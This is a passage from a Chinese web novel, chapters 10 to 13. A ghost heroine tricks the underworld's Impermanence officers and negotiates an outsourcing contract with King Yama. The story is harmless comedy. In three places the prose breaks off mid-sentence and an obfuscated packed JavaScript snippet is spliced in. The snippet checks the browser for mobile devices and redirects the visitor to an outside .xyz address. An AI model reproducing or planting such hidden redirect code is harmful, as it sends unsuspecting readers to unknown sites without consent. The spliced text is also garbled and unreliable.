刘豹发现身上不疼了,还没来得及高兴,就意识到自己方才主动讨要到了一个什么样的判决。追悔莫及想让县令改判,刚一张嘴身上又是一阵剜心蚀骨的痛感袭来,令他无法开口。 堂外叫好声阵阵,百姓直道这是自徐威武上任以来,判的最离奇、最公正的一桩案子,一时传为佳话。 在旁听审的阮文韬喜极而泣,夏月明也露出欣慰笑容。 见她笑了,小白也心情大好。 午后日头太盛,不便鬼魂赶路。 三只鬼在县城内找了个阴凉的破房子休息了一下午,于夜色降临时再次回到驿馆。 与上次来不同,这一次驿馆内无比安静,小白将门一推开,聚集在驿馆内的怨灵们便齐齐朝着夏月明飘来。 小白立刻警惕,护在夏月明身前,确定它们没有恶意后,才缓缓退下。 怨灵们没有言语,只是围着夏月明缓缓转圈,如同宠物般在她身上轻飘飘蹭过,以示感谢。转着转着,怨与灵逐渐分离,怨化作缕缕轻烟逐渐消散,灵化作点点白光,融入了夏月明魂体之中。 这种情况夏月明头一回遇到,虽然魂体并无异样,却仍有些不安。 这时,她听见耳畔响起熟悉的夹子音,系统道:“恭喜你,获得了怨灵的祝福。” 夏月明忙问:“有什么作用吗?” 系统道:“屁用没有。” 这下夏月明放心了。 估摸着距离黑白无常现身还有一个时辰,夏月明决定提早做些准备。 昨天他们就在她面前大声密谋,打算今天要耍无赖,丝毫没把她放在眼里,她可不能让他们得逞。 下午休息时,她正好想到一个能让黑白无常乖乖守信的办法。 嘴角扬起,夏月明对小白道:“小白,你怕虫子吗?” 10. 无常急眼 “虫子?”小白疑惑了一下,微笑道:“自是不怕的,主人有何吩咐?” 她已放弃纠正他对自己的称呼,只道:“不是吩咐,我想请你帮一个忙。”然后才颇有些不好意思地道:“昨天我在房外发现了一只蟑螂,通常来说,看到一只蟑螂就说明这里已经有一窝蟑螂了。但我自己……有些怕蟑螂,可以请你帮我把这些蟑螂都抓起来吗?” 小白听罢粲然一笑,道:“这有何难。” 被主人需要的感觉是恋鬼行事的动力源泉。不到一刻钟,驿馆从里到外的蟑螂窝便被小白围剿一空,装进麻袋打包带来了。怕吓到夏月明,他特地将麻袋放在距她稍远些的地方,封口用麻绳缠了好几圈。 夏月明鼓起勇气走向蟑螂,目露欣喜之色,她料想到这里会有很多蟑螂,但没想到这么多。 “看来不用再抓其他小虫子了。” 半个时辰后,黑白无常左顾右盼、叽叽歪歪、拖拖拉拉地来到了驿馆外。 “偶缩,偶们就则么乖乖过来了,费不费被拉个小鬼看扁啊?” “看扁你也是因为你又矮又胖本来就扁!我高大威猛,谁敢看扁我?再说,她凭什么看扁我们?我们只是顺便、偶然、非常极其不经意地路过这里,临时决定顺便、偶然、非常极其不经意地进去看一眼而已。才不是因为要收的魂被厉鬼抢先一步吞掉了,完不成业绩只好来这里碰运气的,知道吗?” “嘿嘿,叽道啦~” 两位鬼差探头探脑、鬼鬼祟祟走到驿馆大门前,准备穿门而入。 刚把脑袋伸进去,就看见夏月明笑吟吟地,带着小白与阮文韬并排站在院门内,高声道:“欢迎两位大人莅临指导。” “……” 二位鬼差懵然对视,赶紧把头缩了回去。 “那个鬼他们抓到了?” “乖乖,有点东西。” 理了理衣服,收了收表情,他们再次抬头挺胸,在三只小鬼的注视下,一本正经地踏入门内。 黑无常率先开口强调道:“四先僧名,我们四孙便、偶然、灰常极其不经意地路过ze里,临司决定孙便、偶然、灰常极其不经意地进去看一眼鹅已,可不四%¥%#……” 舌头打结,常规操作。 白无常一脸嫌弃地翻了个大白眼。 夏月明微笑道:“嗯,我明白的。书生我已找到,他自愿和你们去地府。” 她特意强调“自愿”一词,希望可以抵消阮文韬先前拒捕的罪过。 白无常听罢,对着阮文韬冷哼一声,道:“那还不赶紧过来?站在那里等什么呢?” 阮文韬拱手,又对夏月明深鞠一躬,方才从容迈步,走向黑白无常。 夏月明对着他的背影小声道:“好好学习,努力证道。” 阮文韬身形一颤,扬起唇角,重重点了下头。 阮文韬刚一靠近,黑无常连打结的舌头都顾不上管了,立马拿起手铐将他束缚起来。 得意道:“贼sia偶看里还子么跑。” 白无常却忽而感觉哪里不对劲,吸了吸鼻子,疑惑道:“喂,你有没有感觉这里少了点什么?” 黑无常也撅起鼻子闻了起来,随后两位鬼差异口同声地震惊道:“怨气!” 先前他们来到此处,就感觉一股黏糊糊的怨气扑面而来,这也是为何书生逃脱后他们不好抓的原因,怨气会迷惑鬼差判断。 白无常狐疑地看向夏月明:“此处怨气消弭了?” 夏月明点头,嘴角抽搐,表情生硬地拍起马屁:“正是两位大人的功劳呀。” 言下之意,这份业绩也是送给你们的礼物。 这诚意满满的套路果然令两位鬼差非常受用。肃清怨气的功劳虽比不上抓一只厉鬼,却比抓一只普通鬼魂要强上许多。但这个活儿又脏又麻烦,性价比不高,所以他们一般不会浪费时间去管。 现在平白得了这份便宜业绩,二位鬼差脸上都不自觉露出得色。 夏月明见时机成熟,从袖袋中拿出一张折好的纸,双手递与黑白无常:“两位大人,我已完成许诺,也请你们帮帮我。这是我刚写好的简历,只要阎王大人看一眼便可。” 两位无常闻言,脸上笑容凝固,瞬间又恢复了铁面无私之貌。 黑无常目光疯狂躲闪:“森么碱腻?没呲过。” 白无常一双死鱼眼也失去焦点:“你这鬼怎么在这里自说自话?阎王殿不是谁都能来的,需要济世的功德才行。” 小白气呼呼捏紧了拳头,夏月明却不恼,继续争取道:“没有编制我做编外人员也行,我帮你们抓鬼,你们帮我修复魂魄。我不属于阎王殿,你们也不需要对我做其他保障,可以吗?求求你帮我问问。” “行了行了!”白无常被她说得烦了,一脸不爽道:“差不多得了,真以为我们不敢抓你吗?” 明明是他耍赖,他倒好意思先生气。 夏月明脸色一沉,冷声道:“有本事你就抓啊。” 会变脸的可不止你俩! 她话音刚落,阮文韬就从怀里掏出一张黄符来,贴到了自己脑门上。 黑白无常:? “哐当”一声,拷在阮文韬手腕上的镣铐穿过他的身体,掉落在地。 夏月明微笑解释道:“这张符可以隔绝阴阳,躲避鬼差。你们看看还能不能带走他?” 两位鬼差伸手要抓阮文韬,两双手却从他身体穿过,互相抓住了对方。 执手相看,无语凝噎,空气中有些暧昧飘过。 两位鬼差反应过来赶紧松手,嫌弃地把手在空中甩了又甩,又在衣服上擦了又擦。 夏月明继续道:“以后如果你们抓鬼速度不够快,那我见一个鬼给一个符,你们永远完不成业绩了。” 轻飘飘一句话,对作为打工鬼的黑白无常来说却是诛心之语。 “里里里……里好狠呐!!!” 黑无常气得挥拳便要朝夏月明冲去,白无常急忙拦住了他,悄声道:“她不是一般鬼,先别动手,看我的。” 黑无常气呼呼收了拳。 白无常道:“好好好,算你厉害,那个什么东西,简历是吧?给我,我会交给阎王大人的。” 黑无常震惊瞪眼:? 这就是你说的看你的? 夏月明上前将简历递给白无常,又将阮文韬额上符纸揭下。微笑道:“多有得罪,辛苦大人。” 白无常将简历收起,随后给一脸愤然的黑无常递了个眼色。 黑无常瞬间领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866735|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会。两位鬼差一人抓住阮文韬的一只手腕,以迅雷不及掩耳之势,带着他快速移动到了驿馆外距离夏月明二十米远的地方。 这才敢嚣张地放起狠话来。 “小小恶鬼胆大包天,竟敢威胁鬼差!我们回去就上报阎王,等着天降惩罚,灰飞烟灭吧你。” 白无常说完,黑无常在旁做起挑衅鬼脸,一条长舌吐成了波浪形。 尔后两位鬼差一起化作白烟,回了地府。 这下连夹子音的系统也忍不住惊叹:“这也太不要脸了吧?” 夏月明笑着摇了摇头,转身朝驿馆内走去。 见她反应如此淡定,系统更着急了,气呼呼质问道:“你说你惹他们干嘛?他们是没本事,但他们背靠的是地府!他们找阎王一告状,要是阎王派了专门捉拿厉鬼的鬼差来抓你,到时别说我了,天王老子也保不了你!” “我知道。”夏月明低下头来,歉然解释道:“想让他们传话肯定不可能了,但告状又何尝不是一种传话呢?” “嗯?”系统一琢磨,突然反应过来了。 不管是告状还是传话,只要阎王能知道这个事情,她的目的就达到了。 “所以你早就在打这个主意了?” “嗯,机会难得,总要留个后手。”夏月明望向天上星河,淡淡道:“现在,就赌阎王需不需要这份业绩吧。” 她本来对此不抱希望,但不知为何,越和黑白无常接触,就莫名觉得越有信心。 此时已近寅时。天上云层散去,月明星稀,偌大的驿馆内静得只余风声。 夏月明在原先自己的客房门前止步。推开门,便见腐朽的木桌上,堆满了蟑螂的尸体。 她轻轻道了声:“谢谢你们。” 随后在小白的帮助下,将蟑螂尸体又放回了麻袋中。 两只鬼抬着麻袋来到林中,在一棵粗壮的大树边刨了个坑,将蟑螂全部放了进去。 “如果躯壳能化成树木养分,也算功德一件。下辈子或许可以投做别的虫子。”夏月明轻声说着,又将从袖袋中拿出的符咒撕成碎片,一同埋进坑中。 这正是方才给阮文韬用过的那张阴阳隔绝符。 小白疑惑道:“主人,我有一事不解。” “你是想问我,我明明没有生灵之力,为什么这符咒会生效对吧?” 小白点头:“嗯。” 夏月明神秘一笑,道:“这都多亏了你。“ “我?可我也没有生灵之力呀。”小白更是摸不着头脑。 夏月明柔声解释道:“多亏了你帮忙抓的蟑螂。刚刚我用油在符纸上画了符图,做完赋咒诀后放出蟑螂,他们顺着油的痕迹爬上符纸,生灵之力便也瞬间被符纸吸收,耗尽了所有蟑螂的生灵之力,才画好这一张。” 而符纸,是之前破缉灵司阵法时未生效的符纸,她觉得可惜,当时就回收了,以备不时之需。 “原来如此。”小白恍然大悟,惊叹道:“怪不得一进房间便看到满地的蟑螂尸体,我还以为……” “以为什么?” 以为她是靠吸食蟑螂灵力,来填补自身精力呢。 但怕夏月明恶心,后半句话小白咽了回去,只道:“没什么……主人英明!不愧是您!” 11. 冥府阎君 幽冥之境,阴曹地府。 一众阴差围坐在窥魂镜前,认真观看着凡间魂灵的动向。 镜中主角,正是斗胆请无常帮忙递简历的夏月明。 两位无常一回来便直奔阎罗殿,你一言,我一语,你添油,我加醋,声情并茂地把夏月明挑衅阴差、不敬鬼神的恶劣事迹娓娓道来。 将夏月明塑造成了有干预鬼神执法之奇技、无视天地法则之神通、比厉鬼还要厉害的恐怖角色。 听得众阴差义愤填膺,如临大敌。 于是阎王立刻令孟婆打开窥魂镜,锁定住了彼时正在为一堆小强挖坟的夏月明一探究竟。 听见夏月明为小白解答了那张隔绝阴阳符生效的原因后,众阴差神色都有些微妙。 “这就是你说的无视天地法则之神通?”最先开口的是牛头,他冷着脸,毫不客气地戳穿道:“不过是会耍些小聪明罢了,那张符至多能生效半刻钟,且遇水则废。” 坐在他身侧的搭档马面,也阴恻恻地搭了腔,讥诮道:“这下蟑螂在人间的逆天传闻又要再加上一笔了——吓退阴差。” 白无常被他说得羞恼至极,一张脸涨得黑红黑红的,无奈对方职位比自己高,只能一怒之下怒了一下,将怨气又记在夏月明头上。 “阎王大人,这女鬼实在阴险狡诈,连阴差都敢骗,真是太可恨了,务必要严惩!” 黑无常也立刻帮腔:“duai!太嚣脏了!” 沉默良久的阎王大人锤了锤腰,抬起眼皮,对静坐一旁的红衣女子道:“你去查一下,这女鬼什么来历。” “是。” 女子声音低沉,语调平和,正是传说中任职于奈何桥边,静观人世轮回的孟婆。 孟婆将生死簿从案上拿起,垂眸凝视,默念神诀,如玉素手在簿上拨弦般轻晃了两下。 而后眉头轻蹙,道:“查无此人。” 众阴差神色皆是一奇。 刚吃了瘪心里正堵得慌的黑无常气焰大涨,立马甩着长舌道:“看吧,偶就缩则女鬼非藏可疑!” 阎王听罢若有所思,对孟婆道:“以云梦泊推演呢?” “是。” 孟婆将生死簿置于盘起的腿上,缓缓闭上眼睛,素手轻舞,点点荧光从指尖飞出,在她身边渐次凝筑成人间山河之貌。山河斗转,变幻莫测,随后化作丝屡细云,收于纤巧的指尖。 光点全部消散后,孟婆睁开双眸,对阎王道:“树妖林蔓。” 阎王点了下头,孟婆再次拿起生死簿重新施法。 这一次,簿上流光闪过,自动翻开,关于树妖林蔓的生平简述便出现在书页上方。 众鬼差忙凑前观看。 牛头道:“按生死簿记载,这老妖练完复颜术后便该走火入魔,被朝廷趁虚拿下,形神俱灭才对。如今看来,这是……练成了?” 孟婆望向窥魂镜中的夏月明,淡淡道:“根据云梦泊推演,镜中女子初次现身,便是树妖复颜术失败之时。作此推论,也无不可。” 云梦泊推演,是通过将此刻人间与七日前的人间万物作对比之后,推算出其间的合理演变。地府一般一个月启动一次云梦泊大演,以聚焦人间不合理之变数,及早铲除。此次孟婆所用,是只围绕一人一事进行推演的云梦泊小演,多为阴司断案所用。 见孟婆给出肯定答复,白无常上前一步,请命道:“树妖为祸人间多时,命运也与生死簿所载有了偏差,实为一大变数!若再留她在人间作乱,不知将会酿成何种祸端,阎王大人,请下定夺!” 待众鬼差稍作议论后,阎王若有所思道:“白无常,你说那女鬼要你把一张叫做简历的纸给我?” “正是。”白无常忙从怀中取出夏月明递给他的简历,转交给阎王。 阎王接过被夏月明认真折叠整齐的纸张,带着几分戏谑道:“让我来看看,她葫芦里卖的什么药。” 他将手轻轻一抖,纸张便舒展开来。 只是纸张舒展了,他的眉头却皱了起来。 纸上只写了短短两句话,却令他看了又看,想了又想,越看眉头拧得越紧,俨然快要挤出天眼一般。 众鬼差也不禁紧张了起来,面面相觑,屏气凝神。 黑无常悄声问白无常:“则里面写的撒吗?你有没有偷康一下啊?” 白无常气呼呼拽住了他的长舌,低声骂道:“舌头这么长就不要学人家说悄悄话了好不好!” “¥#¥@……” 良久后,阎王黑着脸将手中纸张攒成一团,掌心起火,烧为了灰烬。 众鬼差更是疑惑,但深知阎王生气有多可怕,便都不敢作声。 在一片静默中,阎王气呼呼扶案起身,腿刚伸直,就听见腰部传出清晰可闻的“咔嚓”声。 闪着腰了。 众鬼差以为这声“咔嚓”是他捏拳头的声音,心惊胆战,不敢抬头。 阎王皱起眉头,见无人帮忙心下凄凉,又不好开口求助。 缓了片刻,才扶着腰继续站直了身体。沉声道:“无常,安排一下,我去会会她。” 黑白无常见报复有戏,面上疑色化为喜色。 臭小鬼,敢戏弄我们?等着承受阎王的怒火吧! 虽然心里这样想,但表面功夫还是要做的。 白无常搓了搓手,笑道:“怎劳您亲自前往呢?对付这种厉鬼,牛头马面就够了。” 牛头马面瞪眼:? 阎王道:“不是捉拿,是面试。” 黑白无常:? “阎王大人,面试?您要用她?可她在藐视地府权威啊!别说百万功德了,这树妖生来作恶,怕是早已造了百万杀孽!万万不可啊!” “就四就四,那子条丧写了森么啊,您怎么突蓝就改足意了?” 见他们如此着急,阎王无奈地叹了口气,道:“你们看我头顶。” 说罢低下了头。 众鬼差一脸懵然,这话头转的忒快了点儿吧? 虽然来得突然,但难得的拍马屁机会还是要抓住的。 白无常忙道:“发缝流畅,发丝浓密,多好的一个头顶,怎么了?” 阎王听罢摘掉假发,露出一个锃光瓦亮的大脑门:“现在呢?” “……”众鬼差一致露出同情的目光。 阎王将假发戴回头上,颇为惆怅地继续道:“人间厉鬼横行,百姓民不聊生,逐渐心生怨气,不再信仰鬼神。每次信仰微弱,我们便联合天庭派出勇将前往人间降妖伏魔,以保住百姓信仰。但治标不治本,要不了几年,人间就会诞生新的厉鬼魔头。每次去上面开会,说及此事,一口黑锅就朝我地府头上扣下来,说什么我们回收鬼魂不及时……” 阎王说着,不动声色地望向黑白无常。 黑白无常汗流浃背,默默低头。 阎王又道:“可我知道,这不怪你们。人间如炼狱,火海难求生。每日枉死之魂数不胜数,你们几个怎么收得过来?” 黑白无常拼命点头。 “入职地府也算神差,需百万功德才行。可寻常百姓想平静无波地度过一生都何其艰辛,又怎敢提建功立业,惠及众生呢?好不容易出现一个攒够百万功德的人,天庭多少职缺枯苗望雨,殷切招手,谁又愿意来地府呢?如此人间厉鬼横行的问题便永远无法解决了……我每每思及此事,头发都大把大把地掉,愁啊。” 黑白无常心疼皱眉,恨不能把自己的头发给阎王。 “这女鬼既有一日之内收回魂魄又肃清怨念的本事,又不执念于地府神职,何不试试她说的合作呢?若她诚心做事,也算为地府排忧解难,若她存有杂念,到时处置也不晚,你们说呢?” 众鬼差陷入沉思。良久后,孟婆淡淡道:“这女子魂力低微,却不用现成的修炼方法稳固魂体,反而冒险给地府递话,若非存有杂念,便是至善至纯之心。无论哪一种,将其行踪掌握在地府手中,皆是有利无害。属下以为可以合作。” 众鬼差一琢磨,齐声道:“属下亦然。” 半个时辰后,黑白无常再次左顾右盼、叽叽歪歪、拖拖拉拉地来到了驿馆外。 “乖乖,偶似被森么迷了心字了?竟然答应给则小鬼蹿话……” “哎,那老头子讲话有一套的,恩威并施,再稍一示弱,玉皇大帝来了都要被他忽悠进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866736|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “理缩辣紫上写了撒?竟蓝让他改变了足意。” “谁晓得哦!阅后即焚,别是他的什么把柄让人家拿捏了吧?” “很有阔棱!” “先别说这个了,还是想想怎么给那女鬼传话吧。我们上次离开时,可是很严肃地拒绝了她,还放了狠话……要是就这么直接回去邀请她,怕是要被她嘲笑折辱一番。” “四呢……” 正说着,木门“吱嘎”一声被推开。 站在门内的夏月明与小白和两位鬼差面面相觑,皆是一惊。 夏月明惊喜道:“两位大人怎么来了?难道……” “那可没有哦,阎王狠狠拒绝了你的请求,并把你痛骂一顿,派我们俩来通知你,这事儿没门!”白无常下意识为了尊严撒了谎。 夏月明眼中神色黯淡,低声道:“嗯,知道了,是我唐突。辛苦两位大人了。” 说罢扭头望向小白,勉强挤出一抹笑来,道:“看来要另谋出路了。” 小白心疼,想拍拍她的肩以作安慰,指间快要碰到时,又怯怯然收了手。只柔声道:“嗯,修炼的办法有很多,我陪你一起找,总会找到合适的。” 然后在夏月明看不见的角度,凶巴巴、恶狠狠地瞪了两位鬼差一眼。 眼看两只鬼就要离去,黑无常瞪起眼来猛戳白无常胳膊,急得舌头都直接打结了。 “等等。”白无常咳嗽两声,对着夏月明落寞的背影道:“但这事也不是不能办,只要你求求我们……” 夏月明嘴角扬起,知道事已办成。 但她很了解这两位无常是给点颜色就灿烂的类型,便故意不顺他们的意道:“还是算了,多谢两位大人好心,之前是我僭越了。” 说罢步履不停,继续前行。 白无常:……完蛋,玩脱了。 眼见夏月明越走越远,急得黑无常甩起舌头就喊:“喂!黏王同意了!岑司,两公里外的层隍庙,可别呲到啊!” 夏月明脸上绽开灿烂笑容,止步回眸:“嗯,这就过去。谢谢两位大人。” 黑无常深深地松了口气,白无常却觉得很不得劲儿。 “你说她是不是早听见我们说话,故意演给我们看呢?” “又来!就里一天八百个心撵子,以为随都跟里一样间杂狡猾?” …… 辰时未到,天光熹微。 夏月明来到黑白无常所说的城隍庙,小白在不远处的树林中等候。 庙中神像经岁月打磨,已辨不出形貌,祭坛石板断裂,香炉蒙尘,许久无人供奉。 庙外几千个秋日的落叶,从破裂的窗户与门洞飘入,和着雨水跟尘土,在地上铺成一层厚厚的地毯。 见阎王没有到来的迹象,夏月明顺手拿起旁边破旧的扫帚,开始打扫起来。 清理尘土的过程,也是清理思绪的过程。消化完穿越前后的点点滴滴,她又想起了自己刚上班不久,领导带她去见大客户时的情景。 突然觉得现在的心情与那时十分相似。 只是这一次,领导不在,她要自己和“客户”谈单子了。 夏月明认真回忆着那时领导与客户交谈拉扯的细节,希望能给自己一些谈判的底气。 想着想着,仅余半扇的木门“吱呀”一响,一阵冷风自门外吹来,掠过她的魂体,带入几片新的落叶。 接着,庙内响起浑厚威严的声音:“大胆妖孽,竟敢威胁冥府阎君,还不跪下!” 阎王来了。 夏月明心中激动,依言跪下,高声说出了已在心里排练了好几遍的话:“小魂不敢,小魂只是想炼魂,保住小命而已。” 阎王威严的声音中夹杂了几分嘲讽:“炼魂的方法,你在所谓简历中已尽数列举,为何不去做,偏将难题抛给本君?” 夏月明伏身一拜,诚恳道:“我的魂体尚未沾染杀孽。”沉默一瞬,又严谨地补充道:“呃……除了那些蟑螂外。”随后继续道:“摆在我面前的,只有两条路,一条是食人心,吸人魂的厉鬼道;另一条,是魂体湮灭的虚无道。可这两条路我都不想选,我想修的是第三条——功德道。” 12. 成为地府外包工 “哈哈哈哈!”阎王听罢哈哈大笑,嘲讽道:“树妖林蔓,你生前作恶多端,怎的死后突然长出了良心?竟妄想修功德道,岂不可笑!” 夏月明倒也不恼,实诚道:“如果半点可能也没有,阎王大人为何会来?” “……” 她虽无顶撞之意,却令阎王一时哑然。 她在递给阎王的简历中写道:“听闻鬼界炼魂有三招:吃人心、食人魂、吸人精气;冥府炼魂仅一招:攒功德,积信仰。小魂恳以赤诚之心,请阎君指明修行之路。” 摆明要叫阎王替自己做出选择,是遵从鬼界修行法则,从此在成为恶鬼的道路上一去不复返;还是悬崖勒马,积德行善,以攒百万之功德。 一旦参与决策,便需承担后果。 若是别的小鬼,阎王自当他放屁,派牛头马面去除掉即可。 但眼前这女鬼,是生死簿上的唯一变数。 人间这滩死局,需要的正是变数。 变数,就是无限可能。可能变好,也可能变坏。 若他现在将这变数铲除,往后人间祸乱,神界未得转圜之时,必有政见不合的神君捏住此节不放,夸大这变数之作用,将他打为掐灭神界转圜之机的罪魁祸首。 若他不来见她,她只能选择鬼界的修行方法,日后若成为称霸一方、毁天灭地的恶鬼,再一嚷嚷当年是阎王替自己选了厉鬼道,那这锅还得他背。 横竖从他看到她简历的那一刻起,一口达摩克里斯之黑锅就悬在了他的头顶,稍有不慎就会扣在他锃光瓦亮的脑门上。 她算计得明明白白,却好意思问他为何会来! “你说我为何会来?”阎王语气森寒,暗藏怒意,十里之内气温骤降。 连靠在庙外林中树杈上休息的小白,也不禁打起了寒颤。 察觉阎王怒意,夏月明忙正色道歉:“对不起阎王大人,我本不想和您耍心眼,但我所求之道,只有地府能给,只有您能决断。若您愿意给我一次机会,我会尽我所能,回馈给地府同样,不,两倍、三倍,甚至十倍的报答。” 冷至冰点的气温缓缓回升,夏月明心里默然松了口气。 沉默良久后,忽听阎王意有所指般沉声道:“这些话很取巧,可若是从布满谎言之口说出,便半分也不值得考虑。” “……” 言外之意,他知道她还有事瞒着他。 夏月明略一思忖,便明白他所指何事,又歉然行了一礼,道:“阎王大人恕罪,虽非刻意隐瞒,但我的确应提前告知才对——我不是树妖林蔓。我叫夏月明,是从另一个世界穿越过来的。” “另一个世界?”这回答令阎王十分讶异,他知道她不是林蔓,但她这回答对他来说也属实有些超纲。 以为他是无法理解话中含义,夏月明便试图跟他解释穿越和平行时空的概念。 但她话音未落,便感觉肩膀被一只冰冷的大手压住,浑身发冷。 片刻后,头顶传来阎王冷冰冰的声音:“的确探查不到你的魂源,本君暂且信你。” 她目光一斜,便看到了霸气垂地的墨色长袍,上坠着华美的流光金纹。 冥府阎君竟在她身侧现身了。 夏月明这下开始紧张起来,一般而言,那些轻易不露脸的大人物一旦露脸,便意味着起了杀心,要灭口了。 她不敢抬头细看他的样子,双眼死死盯着地面,高声道:“谢阎王大人!” 见她刚刚还很自如地与自己拉扯,此刻却缩在地上瑟瑟发抖,阎王不禁摇头轻笑。他随意地坐到神像边,翘起了二郎腿,道:“喂,抬起头来,你是与本君交易,不是与地板交易。” 夏月明听他语气不像是会对自己发难的样子,便鼓起勇气把头一抬。 但见破烂的神像旁,坐着一位约莫四十来岁的帅气大叔,正是主宰人间生死轮回的冥府阎君。 他身披墨色御袍,长发如瀑,黑如鹊羽,神态间彰显出主宰生死的超然神威,与这破败小庙格格不入。 初见神祇华美的夏月明一时被这威仪震慑,有些呆住了。 这反应似令阎王心情大好,他扬起嘴角,道:“说说吧,你打算如何同本君交易? 终于说到了正题上,夏月明忙回过神来,热切道:“回阎王大人,我是这样想的——我帮地府打工,把不愿轮回的魂魄渡化后送去地府,然后地府帮我炼魂,以作酬劳。” “打工?”头一回听见这么接地气的说法,阎王反应了一下,道:“鬼差可不是人人都能当的。” “我知道,要有百万功德。所以我想,我不要地府编制,我们达成约定后,我负责渡魂,你们教我炼魂。除此之外,你们不用给我任何报酬和保障,但我会以地府的员工守则来约束自己,遵守地府的一切规章制度,完全听从听你们的调度。”夏月明说完,又补充了一句:“在我的世界,这叫做外包。” “外包?”阎王将这新奇词汇咂摸了一遍,挑眉道:“似乎不错。” 见他来了兴趣,夏月明又继续诱惑道:“嗯!你们每个月可以给我算绩效,根据绩效来决定给我分配多少功德用以炼魂。若不放心我的能力,可以给我三个月试用期,如果试用期我的工作成果你不满意,随时可以让我走。” 最后一句话着实让阎王狠狠心动了。 如果她因试用期没过而离开,那她以后走什么道都跟自己没关系了。悬在头上的一口黑锅也终于可以放下。 划算得很。 思及至此,阎王满意地点了点头,道:“所谓试用期,三个月太长,一个月足矣。一个月内,若你能给地府送来十个魂魄,本君便同意与你交易。” “一个月……也行。”夏月明满脸堆笑,暗搓搓将合同工守则移花接木成了外包守则,继续争取道:“试用期如果通过,以后我们每三年签一次劳动合同,谁也不能擅自反悔,若我表现好,年底也可给些额外奖励。” 见她越说越来劲,阎王不禁再次皱眉。 刚刚态度那么谦卑,这会儿怎么又得寸进尺了还? 他果断道:“最多一年,其他免谈。” “好。”夏月明光速点头,生怕他反悔。 反正来日方长,登完鼻子再上脸也不迟。 从暗袋中拿出早已准备好的纸笔和墨砚,夏月明将它们齐齐摆在刚打扫过的祭台上。 阎王不解:“这是作甚?” 夏月明道:“起草合同。” 然她好不容易给笔尖蘸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然好似得到了一些线索,但夏月明心中迷雾却更浓了。 她还待再问,却听身后木门“吱呀”一声,阎王已消失不见。 待室温恢复正常后,她的耳畔响起了夹子音熟悉的责骂声:“你是不是上班上傻了啊?那么苛刻的条件怎么能答应呢?关键那条件还是你自己提出的!” 夏月明道:“我知道,可我现在除了劳动力以外,也没有其他资本能和地府谈判了。” 这话倒也没错,系统叹了口气,又道:“那也不是非得走这条路啊……十个魂,从哪里来呀?一个村子都未必有那么多吧?一个月后要是没达到要求,你就彻底消散了啊!还不如随便抓两个吃了,先稳住魂力,再想别的办法。” 夏月明却丝毫不急,微微一笑,道:“你忘记我们要去哪里了吗?” “去哪儿?哦……” 毕宿宫,厉鬼大本营! 得,直接偷家去了。 这下系统彻底服了,敬佩道:“那老太婆和你交易,竟不知是她坑了你,还是你占了她便宜。” 13. 副宫主回宫 天朗气清,不便赶路。 夏月明与小白逐阴而行,傍晚时分,才终于赶到了毕宿宫所在的废弃庄园外。 此地依山而建,周围枯树环绕,曾为大户人家的避暑之地,虽已破败百年之久,却仍显堂皇气派。 庄园大门虚掩着,凡人若是推门而入,便会遭遇鬼打墙,行不出百米便耗尽体力,成为园中厉鬼的饭后点心。 宫外鬼魂若想入内,需重叩石门三声,唤来门卫小鬼通禀,若不然,则会被抓起来,和先前鬼打墙的凡人凑一桌开席。 然树妖林蔓作为副宫主,来去自如,并不知这些底层规则,是以夏月明也无从知晓。 虽不知晓,她却也在门外,轻叩了三下。 “有人……哦不,有鬼吗?” 歪打正着,这早已养成习惯的礼貌和拘谨救了她。 不一会儿,一个抱着头的断头鬼从大门开口平移而出,当着夏月明的面把头安在了脖子上,防备地打量着夏月明和小白。 “何事?” 夏月明下意识想往后退,但腿脚发软不听使唤,一动不动反而显得淡定了。 她深呼吸平缓心神,冷声道:“怎么跟副宫主说话呢?” 这是她一路上根据记忆琢磨过林蔓性格后,斟酌出来的词。外貌的变化可以用复颜术搪塞过去,若性情也大变,着实不好解释。 但她毕竟不是专业演员,这演技,最多也就剧本杀棒读水平,林蔓那摄人的气场她是半分也演不出来。 抱头鬼皱眉,“副宫主?哪个宫的?你们宫不会就你们两个吧?他是宫主你是副宫主。” 言下之意,连小白所展现出的气场,也比夏月明更有领袖派头。 夏月明强掩尴尬,厉声道:“我是毕宿宫副宫主!” 抱头鬼疑惑挠头,不小心把头给挠掉了,赶紧接住又安回脖子上。 后知后觉怒斥道:“大胆!毕宿宫名号岂容你们两个小鬼碰瓷?” 夏月明本打算用共同经历说服抱头鬼,一回忆才发现他只是个看门的,级别不够与副宫主有交集。 但她仍是强撑起派头,道:“告诉轩辕泓,我林蔓复颜术已成,让他来接我。” 想让这小鬼放自己进去是不可能了,但林蔓记忆中与她有交集且又没有仇怨的,只有轩辕泓了。 “蹬鼻子上脸了还!竟敢直呼宫主名讳!!”抱头鬼气得炸毛,不客气地撸起袖子想要暴力逐客。 